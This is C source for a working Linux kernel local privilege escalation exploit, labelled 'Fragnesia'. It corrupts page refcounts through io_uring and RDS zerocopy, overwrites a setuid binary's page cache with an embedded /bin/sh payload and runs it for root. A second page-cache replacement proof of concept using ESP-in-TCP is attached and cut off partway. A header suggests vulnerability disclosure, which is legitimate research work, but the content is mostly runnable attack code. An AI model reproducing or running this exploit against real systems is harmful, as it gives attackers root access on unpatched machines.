src_fd; __u32 flags; __u32 src_off; __u32 dst_off; __u32 nr; __u32 pad[3]; }; #endif #define PAGE_SIZE 4096 #define GUP_PIN_COUNTING_BIAS 1024 #define PORT_BASE 20000 #define MAX_RETRIES 5 static const uint8_t SHELL_ELF[129] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x81,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0xb0,0x69,0x0f,0x05,0x48,0x8d, 0x3d,0xdb,0xff,0xff,0xff,0x6a,0x00,0x57,0x48,0x89,0xe6,0x31,0xd2,0xb0,0x3b,0x0f, 0x05, }; static const char *suid_candidates[] = { "/usr/bin/su", "/bin/su", "/usr/bin/mount", "/usr/bin/passwd", "/usr/bin/chsh", "/usr/bin/newgrp", "/usr/bin/umount", "/usr/bin/pkexec", "/mnt/suid_helper", NULL, }; #define ANSI_RESET "\033[0m" #define ANSI_BOLD "\033[1m" #define ANSI_RED "\033[1;31m" #define ANSI_GREEN "\033[1;32m" #define ANSI_YELLOW "\033[1;33m" #define ANSI_CYAN "\033[1;36m" #define LOG(fmt, ...) fprintf(stderr, ANSI_CYAN "[*]" ANSI_RESET " " fmt "\n", ##__VA_ARGS__) #define ERR(fmt, ...) fprintf(stderr, ANSI_RED "[-]" ANSI_RESET " " fmt "\n", ##__VA_ARGS__) #define OK(fmt, ...) fprintf(stderr, ANSI_GREEN "[+]" ANSI_RESET " " fmt "\n", ##__VA_ARGS__) static void pin_cpu(int cpu) { cpu_set_t set; CPU_ZERO(&set); CPU_SET(cpu, &set); if (sched_setaffinity(0, sizeof(set), &set) < 0) { perror("sched_setaffinity"); exit(1); } } static const char *find_suid_target(void) { for (int i = 0; suid_candidates[i]; i++) { struct stat st; if (stat(suid_candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) { OK("found suid target: %s", suid_candidates[i]); return suid_candidates[i]; } } return NULL; } static int backup_target(const char *path) { const char *name = strrchr(path, '/'); name = name ? name + 1 : path; char backup[256]; snprintf(backup, sizeof(backup), "/tmp/.backup_%s_%d", name, getpid()); LOG("backing up %s -> %s", path, backup); int src = open(path, O_RDONLY); if (src < 0) { perror("open src"); return -1; } int dst = open(backup, O_WRONLY | O_CREAT | O_TRUNC, 0755); if (dst < 0) { perror("open dst"); close(src); return -1; } char tmp[4096]; ssize_t n; while ((n = read(src, tmp, sizeof(tmp))) > 0) { if (write(dst, tmp, n) != n) { perror("write"); close(src); close(dst); return -1; } } close(src); close(dst); OK("backup created: %s", backup); return 0; } static int steal_one_ref(void *page_addr, int port) { int fd = socket(AF_RDS, SOCK_SEQPACKET, 0); if (fd < 0) return -1; int v = 1; setsockopt(fd, SOL_SOCKET, SO_ZEROCOPY, &v, sizeof(v)); int sndbuf = 2 * 4096 * 4; setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); v = 2; setsockopt(fd, SOL_RDS, SO_RDS_TRANSPORT, &v, sizeof(v)); struct sockaddr_in a = { .sin_family = AF_INET, .sin_addr.s_addr = htonl(INADDR_LOOPBACK), .sin_port = htons(port), }; if (bind(fd, (struct sockaddr *)&a, sizeof(a)) < 0) { close(fd); return -1; } a.sin_port = htons(port + 1); struct iovec iov = { page_addr, 2 * PAGE_SIZE }; char cb[CMSG_SPACE(sizeof(uint32_t))]; memset(cb, 0, sizeof(cb)); struct cmsghdr *cm = (struct cmsghdr *)cb; cm->cmsg_level = SOL_RDS; cm->cmsg_type = RDS_CMSG_ZCOPY_COOKIE; cm->cmsg_len = CMSG_LEN(sizeof(uint32_t)); struct msghdr m = { .msg_name = &a, .msg_namelen = sizeof(a), .msg_iov = &iov, .msg_iovlen = 1, .msg_control = cb, .msg_controllen = sizeof(cb), }; sendmsg(fd, &m, MSG_ZEROCOPY | MSG_DONTWAIT); close(fd); return 0; } struct uring { int fd; void *sq_ring; void *cq_ring; struct io_uring_sqe *sqes; uint32_t *sq_head; uint32_t *sq_tail; uint32_t *sq_mask; uint32_t *sq_array; uint32_t *cq_head; uint32_t *cq_tail; uint32_t *cq_mask; struct io_uring_cqe *cqes; size_t sq_ring_sz; size_t cq_ring_sz; size_t sqes_sz; }; static int uring_setup(struct uring *r, unsigned entries) { struct io_uring_params p; memset(&p, 0, sizeof(p)); r->fd = syscall(__NR_io_uring_setup, entries, &p); if (r->fd < 0) { perror("io_uring_setup"); return -1; } r->sq_ring_sz = p.sq_off.array + p.sq_entries * sizeof(uint32_t); r->cq_ring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe); r->sqes_sz = p.sq_entries * sizeof(struct io_uring_sqe); r->sq_ring = mmap(NULL, r->sq_ring_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQ_RING); if (r->sq_ring == MAP_FAILED) { perror("mmap sq_ring"); return -1; } r->cq_ring = mmap(NULL, r->cq_ring_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_CQ_RING); if (r->cq_ring == MAP_FAILED) { perror("mmap cq_ring"); return -1; } r->sqes = mmap(NULL, r->sqes_sz, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, r->fd, IORING_OFF_SQES); if (r->sqes == MAP_FAILED) { perror("mmap sqes"); return -1; } r->sq_head = r->sq_ring + p.sq_off.head; r->sq_tail = r->sq_ring + p.sq_off.tail; r->sq_mask = r->sq_ring + p.sq_off.ring_mask; r->sq_array = r->sq_ring + p.sq_off.array; r->cq_head = r->cq_ring + p.cq_off.head; r->cq_tail = r->cq_ring + p.cq_off.tail; r->cq_mask = r->cq_ring + p.cq_off.ring_mask; r->cqes = r->cq_ring + p.cq_off.cqes; return 0; } static int uring_register_buffers(struct uring *r, void *buf, size_t len) { struct iovec iov = { .iov_base = buf, .iov_len = len }; int ret = syscall(__NR_io_uring_register, r->fd, IORING_REGISTER_BUFFERS, &iov, 1); if (ret < 0) { perror("io_uring_register buffers"); return -1; } return 0; } static int uring_clone_buffers(struct uring *dst, struct uring *src) { struct io_uring_clone_buffers arg; memset(&arg, 0, sizeof(arg)); arg.src_fd = src->fd; arg.flags = 0; arg.nr = 0; /* clone all */ int ret = syscall(__NR_io_uring_register, dst->fd, IORING_REGISTER_CLONE_BUFFERS, &arg, 1); if (ret < 0) { perror("io_uring clone buffers"); return -1; } return 0; } /* * Fork a daemon child that holds ring2_fd open, preventing imu cleanup. * When ring1 is destroyed, io_buffer_unmap sees imu->refs > 1 and skips * the unpin_user_folio call that would corrupt the freed page's refcount. */ static pid_t spawn_ring_holder(int ring2_fd) { pid_t pid = fork(); if (pid != 0) return pid; /* parent */ /* child: hold ring2_fd open forever */ fcntl(ring2_fd, F_SETFD, 0); for (int fd = 0; fd < 1024; fd++) if (fd != ring2_fd) close(fd); open("/dev/null", O_RDONLY); open("/dev/null", O_WRONLY); open("/dev/null", O_WRONLY); execl("/bin/sleep", "sleep", "99999", (char *)NULL); _exit(0); } static int uring_submit_read_fixed(struct uring *r, int file_fd, void *buf, uint32_t len) { uint32_t tail = *r->sq_tail; uint32_t idx = tail & *r->sq_mask; struct io_uring_sqe *sqe = &r->sqes[idx]; memset(sqe, 0, sizeof(*sqe)); sqe->opcode = IORING_OP_READ_FIXED; sqe->fd = file_fd; sqe->off = 0; sqe->addr = (uint64_t)(unsigned long)buf; sqe->len = len; sqe->buf_index = 0; sqe->user_data = 0x1234; r->sq_array[idx] = idx; __atomic_store_n(r->sq_tail, tail + 1, __ATOMIC_RELEASE); int ret = syscall(__NR_io_uring_enter, r->fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, (size_t)0); if (ret < 0) { perror("io_uring_enter"); return -1; } return 0; } static int uring_wait_cqe(struct uring *r, int32_t *res_out) { uint32_t head = *r->cq_head; uint32_t tail; for (int i = 0; i < 1000; i++) { tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE); if (head != tail) break; usleep(1000); } tail = __atomic_load_n(r->cq_tail, __ATOMIC_ACQUIRE); if (head == tail) { ERR("CQ timeout - no completion"); return -1; } uint32_t idx = head & *r->cq_mask; struct io_uring_cqe *cqe = &r->cqes[idx]; if (res_out) *res_out = cqe->res; __atomic_store_n(r->cq_head, head + 1, __ATOMIC_RELEASE); return 0; } static void uring_destroy(struct uring *r) { if (r->sq_ring != MAP_FAILED) munmap(r->sq_ring, r->sq_ring_sz); if (r->cq_ring != MAP_FAILED) munmap(r->cq_ring, r->cq_ring_sz); if (r->sqes != MAP_FAILED) munmap(r->sqes, r->sqes_sz); if (r->fd >= 0) close(r->fd); r->fd = -1; } static int create_payload_file(void) { char path[] = "/tmp/.payload_XXXXXX"; int fd = mkstemp(path); if (fd < 0) { perror("mkstemp"); return -1; } unlink(path); uint8_t page[PAGE_SIZE]; memset(page, 0, sizeof(page)); memcpy(page, SHELL_ELF, sizeof(SHELL_ELF)); if (write(fd, page, PAGE_SIZE) != PAGE_SIZE) { perror("write payload"); close(fd); return -1; } return fd; } static int evict_page_cache(const char *path) { int fd = open(path, O_RDONLY); if (fd < 0) { perror("open for fadvise"); return -1; } if (posix_fadvise(fd, 0, PAGE_SIZE, POSIX_FADV_DONTNEED) < 0) { perror("fadvise"); close(fd); return -1; } close(fd); return 0; } static int attempt_exploit(const char *target, pid_t *daemon_out) { LOG("=== starting exploit attempt ==="); /* 1. mmap anon page + PROT_NONE guard */ void *buf = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (buf == MAP_FAILED) { perror("mmap buf"); return -1; } memset(buf, 'A', PAGE_SIZE); if (mprotect((char *)buf + PAGE_SIZE, PAGE_SIZE, PROT_NONE) < 0) { perror("mprotect guard"); munmap(buf, 2 * PAGE_SIZE); return -1; } OK("mapped buf=%p, guard at %p", buf, (char *)buf + PAGE_SIZE); /* 2. io_uring setup + register buffer (pins page, refcount += 1024) */ struct uring ring; memset(&ring, 0, sizeof(ring)); ring.fd = -1; ring.sq_ring = MAP_FAILED; ring.cq_ring = MAP_FAILED; ring.sqes = MAP_FAILED; if (uring_setup(&ring, 4) < 0) { munmap(buf, 2 * PAGE_SIZE); return -1; } if (uring_register_buffers(&ring, buf, PAGE_SIZE) < 0) { uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } OK("io_uring buffer registered (refcount now ~1025)"); /* 2b. Clone buffers to ring2 + spawn daemon to hold imu ref */ struct uring ring2; memset(&ring2, 0, sizeof(ring2)); ring2.fd = -1; ring2.sq_ring = MAP_FAILED; ring2.cq_ring = MAP_FAILED; ring2.sqes = MAP_FAILED; if (uring_setup(&ring2, 1) < 0) { uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } if (uring_clone_buffers(&ring2, &ring) < 0) { uring_destroy(&ring2); uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } OK("cloned buffers to ring2 (imu->refs now 2)"); pid_t daemon = spawn_ring_holder(ring2.fd); if (daemon < 0) { uring_destroy(&ring2); uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } uring_destroy(&ring2); OK("daemon pid=%d holds ring2 (prevents unpin on ring1 cleanup)", daemon); *daemon_out = daemon; /* 3. steal 1024 refs via failing zcopy sends */ LOG("stealing %d refcounts...", GUP_PIN_COUNTING_BIAS); int stolen = 0; for (int i = 0; i < GUP_PIN_COUNTING_BIAS; i++) { int port = PORT_BASE + i * 2; if (steal_one_ref(buf, port) < 0) continue; stolen++; if (stolen % 256 == 0) LOG(" stolen %d/%d refs", stolen, GUP_PIN_COUNTING_BIAS); } OK("stole %d refcounts (refcount now ~1)", stolen); if (stolen < GUP_PIN_COUNTING_BIAS) { ERR("only stole %d/%d refs - may not be enough", stolen, GUP_PIN_COUNTING_BIAS); if (stolen < GUP_PIN_COUNTING_BIAS - 10) { ERR("too few stolen refs, aborting"); uring_destroy(&ring); munmap(buf, 2 * PAGE_SIZE); return -1; } } /* 4. evict suid binary from page cache BEFORE freeing our page */ LOG("evicting %s page 0 from page cache...", target); if (evict_page_cache(target) < 0) { ERR("failed to evict page cache"); uring_destroy(&ring); return -1; } OK("page cache evicted"); /* 5. drain PCP: allocate many pages to push stale entries out */ LOG("draining PCP..."); void *drain_pages[256]; for (int i = 0; i < 256; i++) { drain_pages[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); } /* 6. munmap first page -> refcount 1->0 -> freed to TOP of PCP (LIFO) */ LOG("unmapping buf to trigger free (refcount 1 -> 0)..."); if (munmap(buf, PAGE_SIZE) < 0) { perror("munmap buf"); uring_destroy(&ring); return -1; } OK("page freed to top of PCP - io_uring retains dangling struct page*"); /* 7. read suid binary -> page cache alloc grabs from PCP top */ LOG("reading %s to reclaim freed page into page cache...", target); int tfd = open(target, O_RDONLY); if (tfd < 0) { perror("open target"); uring_destroy(&ring); return -1; } uint8_t verify_buf[PAGE_SIZE]; if (pread(tfd, verify_buf, PAGE_SIZE, 0) < 0) { perror("pread target"); close(tfd); uring_destroy(&ring); return -1; } close(tfd); OK("page cache populated"); /* clean up drain pages */ for (int i = 0; i < 256; i++) if (drain_pages[i] != MAP_FAILED) munmap(drain_pages[i], PAGE_SIZE); /* create payload file */ int payload_fd = create_payload_file(); if (payload_fd < 0) { uring_destroy(&ring); return -1; } /* 8. READ_FIXED: DMA writes payload into page cache via dangling page */ LOG("submitting IORING_OP_READ_FIXED to overwrite page cache..."); if (uring_submit_read_fixed(&ring, payload_fd, buf, PAGE_SIZE) < 0) { close(payload_fd); uring_destroy(&ring); return -1; } int32_t cqe_res; if (uring_wait_cqe(&ring, &cqe_res) < 0) { close(payload_fd); uring_destroy(&ring); return -1; } close(payload_fd); if (cqe_res < 0) { ERR("READ_FIXED CQE error: %d (%s)", cqe_res, strerror(-cqe_res)); uring_destroy(&ring); return -1; } OK("READ_FIXED completed: %d bytes written", cqe_res); /* 9. verify overwrite */ LOG("verifying page cache overwrite..."); tfd = open(target, O_RDONLY); if (tfd < 0) { perror("open target for verify"); uring_destroy(&ring); return -1; } uint8_t check[sizeof(SHELL_ELF)]; if (pread(tfd, check, sizeof(check), 0) != sizeof(check)) { perror("pread verify"); close(tfd); uring_destroy(&ring); return -1; } close(tfd); if (memcmp(check, SHELL_ELF, sizeof(SHELL_ELF)) != 0) { int first_diff = -1; for (int i = 0; i < (int)sizeof(SHELL_ELF); i++) { if (check[i] != SHELL_ELF[i]) { first_diff = i; break; } } ERR("verification FAILED - first mismatch at byte %d", first_diff); if (first_diff >= 0) { ERR(" expected[%d]: %02x got[%d]: %02x", first_diff, SHELL_ELF[first_diff], first_diff, check[first_diff]); } uring_destroy(&ring); return -1; } OK("verification PASSED - page cache overwritten with SHELL_ELF"); uring_destroy(&ring); /* 10. exec suid binary -> root shell */ fprintf(stderr, "\n"); fprintf(stderr, ANSI_YELLOW ANSI_BOLD "=== RESTORE: sudo cp /tmp/.backup_%s_%d %s && sudo chmod u+s %s ===" ANSI_RESET "\n", strrchr(target, '/') + 1, getpid(), target, target); fflush(stderr); for (int fd = 3; fd < 1024; fd++) close(fd); execl(target, target, (char *)NULL); perror("execl"); return -1; } int main(void) { pin_cpu(0); LOG("pinned to CPU 0"); const char *target = find_suid_target(); if (!target) { ERR("no suid binary found"); return 1; } if (backup_target(target) < 0) { ERR("backup failed, aborting for safety"); return 1; } pid_t daemons[MAX_RETRIES]; int ndaemons = 0; for (int attempt = 0; attempt < MAX_RETRIES; attempt++) { LOG("attempt %d/%d", attempt + 1, MAX_RETRIES); pid_t daemon = 0; int ret = attempt_exploit(target, &daemon); if (daemon > 0) daemons[ndaemons++] = daemon; if (ret == 0) return 0; /* attempt_exploit exec'd */ ERR("attempt %d failed, retrying...", attempt + 1); sleep(1); } for (int i = 0; i < ndaemons; i++) { kill(daemons[i], SIGKILL); waitpid(daemons[i], NULL, 0); } ERR("all %d attempts failed", MAX_RETRIES); return 1; } // Fragnesia: universal Linux LPE // Ubuntu users: AppArmor interferes with using namespaces, you need to use // `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`. // // You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability. // // Found with V12 by William Bowling on the V12 team // V12 - https://v12.sh - dangerously powerful agentic security // Patch: https://lists.openwall.net/netdev/2026/05/13/79 /* * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC. * * It only targets an already prepared disposable regular file under /tmp or * /var/tmp. The file must be readable by the caller and should be non-writable * to demonstrate the permission boundary. * * Build: * gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace * * Run: * ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445 * * Exit codes: * 1: vulnerable behavior verified * 0: fixed/no mutation observed * 2: local setup or argument error * 4: namespace/XFRM gate closed */ #define _GNU_SOURCE #include #include #include #include #if __has_include() #include #else #include struct sockaddr_alg { __u16 salg_family; __u8 salg_type[14]; __u32 salg_feat; __u32 salg_mask; __u8 salg_name[64]; }; #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef TCP_ULP #define TCP_ULP 31 #endif #ifndef NETLINK_XFRM #define NETLINK_XFRM 6 #endif #ifndef TCP_ENCAP_ESPINTCP #define TCP_ENCAP_ESPINTCP 7 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef ALG_SET_KEY #define ALG_SET_KEY 1 #endif #ifndef ALG_SET_OP #define ALG_SET_OP 3 #endif #ifndef ALG_OP_ENCRYPT #define ALG_OP_ENCRYPT 1 #endif #ifndef NLA_ALIGNTO #define NLA_ALIGNTO 4 #endif #ifndef NLA_ALIGN #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif #ifndef NLA_HDRLEN #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif #define FRAG_LEN 4096 #define ESP_GCM_ICV_LEN 16 #define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN) #define TCP_PORT 5556 #define PAYLOAD_LEN 192 #define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */ #define FRAME_BAR_W 50 #define FRAME_LINES 15 /* 1 header + 12 hex + 1 bar + 1 sep */ #define RECEIVER_PRE_ULP_US 30000 #define SENDER_PRE_SPLICE_US 1000 #define RECEIVER_POST_ULP_US 30000 static const unsigned char xfrm_aead_key[20] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x01, 0x02, 0x03, 0x04 }; static unsigned char active_esp_gcm_iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; static uint32_t active_esp_seq = 1; static const char *target_file; static char target_file_buf[PATH_MAX]; static loff_t target_splice_off; static uint16_t stream0_nonce[256]; static bool stream0_have[256]; static void die(const char *what) { fprintf(stderr, "%s: %s\n", what, strerror(errno)); exit(2); } static void gate_fail(const char *what) { printf("namespace_gate_failed: %s errno=%d (%s)\n", what, errno, strerror(errno)); exit(4); } static void store_be32(unsigned char *p, uint32_t v) { p[0] = (unsigned char)(v >> 24); p[1] = (unsigned char)(v >> 16); p[2] = (unsigned char)(v >> 8); p[3] = (unsigned char)v; } /* ANSI colours */ #define C_RESET "\033[0m" #define C_BOLD "\033[1m" #define C_DIM "\033[2m" #define C_RED "\033[31m" #define C_GREEN "\033[32m" #define C_YELLOW "\033[33m" #define C_CYAN "\033[36m" #define C_WHITE "\033[97m" #define C_BRED "\033[1;31m" #define C_BGRN "\033[1;32m" #define C_BYLW "\033[1;33m" #define C_BCYN "\033[1;36m" #define C_BWHT "\033[1;97m" static void print_hex_bytes(const char *label, const unsigned char *buf, size_t len) { size_t i; printf(C_DIM "%s=" C_RESET C_CYAN, label); for (i = 0; i < len; i++) printf("%02x", buf[i]); printf(C_RESET "\n"); } /* Dump a 16-byte aligned row centred on `highlight_off`, marking that byte. */ static void print_hex_row(const char *path, uint64_t highlight_off, const char *before_label, unsigned char before_val, const char *after_label, unsigned char after_val) { uint64_t row_start = highlight_off & ~(uint64_t)15; unsigned char row[16]; ssize_t got; size_t col; int fd; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd < 0) return; got = pread(fd, row, sizeof(row), (off_t)row_start); close(fd); if (got <= 0) return; /* Hex section */ printf(C_DIM " %016llx " C_RESET, (unsigned long long)row_start); for (col = 0; col < 16; col++) { if (col == 8) printf(" "); if ((size_t)got > col) { if (row_start + col == highlight_off) printf(C_BRED "[%02x]" C_RESET, row[col]); else printf(C_DIM "%02x " C_RESET, row[col]); } else { printf(C_DIM " " C_RESET); } } /* ASCII section */ printf(" " C_DIM "|" C_RESET); for (col = 0; col < (size_t)got; col++) { unsigned char c = row[col]; if (row_start + col == highlight_off) printf(C_BRED "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.'); else printf(C_DIM "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.'); } printf(C_DIM "|" C_RESET "\n"); /* Annotation line */ size_t col_off = (size_t)(highlight_off - row_start); size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1; printf("%*s" C_BYLW "^-- +%04llx " C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET " -> " C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n", (int)arrow_pos, "", (unsigned long long)(highlight_off & 0xffff), before_label, before_val, after_label, after_val); } static int open_afalg_aes_ecb(void) { struct sockaddr_alg sa = { .salg_family = AF_ALG, }; int fd; fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0); if (fd < 0) die("socket(AF_ALG)"); strcpy((char *)sa.salg_type, "skcipher"); strcpy((char *)sa.salg_name, "ecb(aes)"); if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("bind AF_ALG ecb(aes)"); if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0) die("setsockopt AF_ALG key"); return fd; } static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16], unsigned char out[16]) { char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {}; struct iovec iov = { .iov_base = (void *)in, .iov_len = 16, }; struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, .msg_control = cbuf, .msg_controllen = sizeof(cbuf), }; struct cmsghdr *cmsg; uint32_t op = ALG_OP_ENCRYPT; ssize_t ret; int op_fd; op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC); if (op_fd < 0) die("accept AF_ALG"); cmsg = CMSG_FIRSTHDR(&msg); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_OP; cmsg->cmsg_len = CMSG_LEN(sizeof(op)); memcpy(CMSG_DATA(cmsg), &op, sizeof(op)); ret = sendmsg(op_fd, &msg, 0); if (ret != 16) die("sendmsg AF_ALG block"); ret = read(op_fd, out, 16); if (ret != 16) die("read AF_ALG block"); close(op_fd); } static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) { unsigned char counter_block[16], stream[16]; memcpy(counter_block, &xfrm_aead_key[16], 4); memcpy(counter_block + 4, iv, 8); store_be32(counter_block + 12, 2); afalg_aes_encrypt_block(alg_fd, counter_block, stream); return stream[0]; } static void build_stream0_table(void) { unsigned char iv[8] = { 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc }; unsigned int count = 0, nonce; int alg_fd; alg_fd = open_afalg_aes_ecb(); for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) { unsigned char b; store_be32(iv + 4, nonce); b = aes_gcm_stream0_byte(alg_fd, iv); if (stream0_have[b]) continue; stream0_have[b] = true; stream0_nonce[b] = (uint16_t)nonce; count++; } close(alg_fd); if (count != 256) { fprintf(stderr, "failed to build complete stream-byte table: %u/256\n", count); exit(2); } printf("stream0_table_entries=256\n"); } static void choose_iv_for_stream0(unsigned char need_stream) { uint16_t nonce = stream0_nonce[need_stream]; memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv)); store_be32(active_esp_gcm_iv + 4, nonce); printf("byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream); print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv, sizeof(active_esp_gcm_iv)); } static uint64_t parse_u64_arg(const char *s, const char *name) { char *end = NULL; unsigned long long v; if (s[0] == '-') { fprintf(stderr, "invalid %s: %s\n", name, s); exit(2); } errno = 0; v = strtoull(s, &end, 0); if (errno || !end || *end != '\0') { fprintf(stderr, "invalid %s: %s\n", name, s); exit(2); } return (uint64_t)v; } static int hex_nibble(int c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return 10 + c - 'a'; if (c >= 'A' && c <= 'F') return 10 + c - 'A'; return -1; } static bool is_hex_separator(int c) { return c == ':' || c == ',' || c == '-' || c == '_' || c == ' ' || c == '\t' || c == '\n' || c == '\r'; } static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out) { size_t cap = strlen(s) / 2 + 1, len = 0; unsigned char *buf; int hi = -1, v; buf = malloc(cap); if (!buf) die("malloc desired bytes"); for (; *s; s++) { if (is_hex_separator((unsigned char)*s)) continue; if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) { s++; continue; } v = hex_nibble((unsigned char)*s); if (v < 0) { fprintf(stderr, "invalid hex byte string near '%c'\n", *s); exit(2); } if (hi < 0) { hi = v; continue; } buf[len++] = (unsigned char)((hi << 4) | v); hi = -1; } if (hi >= 0) { fprintf(stderr, "hex byte string has an odd number of nibbles\n"); exit(2); } if (len == 0) { fprintf(stderr, "hex byte string is empty\n"); exit(2); } *len_out = len; return buf; } static unsigned char read_byte_at(const char *path, uint64_t off) { unsigned char b; ssize_t ret; int fd; fd = open(path, O_RDONLY | O_CLOEXEC); if (fd < 0) die("open read byte"); ret = pread(fd, &b, 1, (off_t)off); if (ret < 0) die("pread byte"); if (ret != 1) { fprintf(stderr, "short pread at offset=%llu\n", (unsigned long long)off); exit(2); } close(fd); return b; } static void print_file_sample(const char *label, uint64_t off, size_t len) { unsigned char buf[32]; ssize_t ret; int fd; if (len > sizeof(buf)) len = sizeof(buf); fd = open(target_file, O_RDONLY | O_CLOEXEC); if (fd < 0) die("open sample"); ret = pread(fd, buf, len, (off_t)off); if (ret < 0) die("pread sample"); close(fd); if ((size_t)ret != len) { fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n", (unsigned long long)off, len, ret); exit(2); } print_hex_bytes(label, buf, len); } static uint64_t use_existing_target(const char *path) { struct stat lst, st; if (lstat(path, &lst) < 0) die("lstat target"); if (!S_ISREG(lst.st_mode)) { fprintf(stderr, "target is not a regular file\n"); exit(2); } if (stat(path, &st) < 0) die("stat target"); if (!S_ISREG(st.st_mode)) { fprintf(stderr, "target is not a regular file\n"); exit(2); } if (st.st_size < FRAG_LEN) { fprintf(stderr, "target is too small: size=%lld need>=%d\n", (long long)st.st_size, FRAG_LEN); exit(2); } if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= (int)sizeof(target_file_buf)) { fprintf(stderr, "target path is too long\n"); exit(2); } target_file = target_file_buf; return (uint64_t)st.st_size; } static void verify_write_denied(const char *label) { int fd; errno = 0; fd = open(target_file, O_WRONLY | O_CLOEXEC); if (fd >= 0) { close(fd); printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n", label); exit(4); } printf("%s_write_open_denied=1 errno=%d (%s)\n", label, errno, strerror(errno)); } static int write_all_file_status(const char *path, const char *buf) { size_t len = strlen(buf); int fd, saved_errno; fd = open(path, O_WRONLY | O_CLOEXEC); if (fd < 0) return -1; if (write(fd, buf, len) != (ssize_t)len) { saved_errno = errno; close(fd); errno = saved_errno; return -1; } close(fd); return 0; } static void sync_write_byte(int fd) { char c = 'M'; if (write(fd, &c, 1) != 1) die("sync write"); close(fd); } static void sync_read_byte(int fd) { char c; if (read(fd, &c, 1) != 1) die("sync read"); close(fd); } static void parent_map_write_or_exit(pid_t child, const char *name, const char *data) { char path[128]; snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name); if (write_all_file_status(path, data) < 0) { printf("namespace_gate_failed: %s errno=%d (%s)\n", path, errno, strerror(errno)); kill(child, SIGKILL); waitpid(child, NULL, 0); exit(4); } } static void enter_mapped_userns(void) { uid_t outer_uid = getuid(); gid_t outer_gid = getgid(); int ready_pipe[2], mapped_pipe[2], status; char map[128]; pid_t child; if (pipe(ready_pipe) < 0) die("pipe ready"); if (pipe(mapped_pipe) < 0) die("pipe mapped"); child = fork(); if (child < 0) die("fork userns mapper"); if (child > 0) { 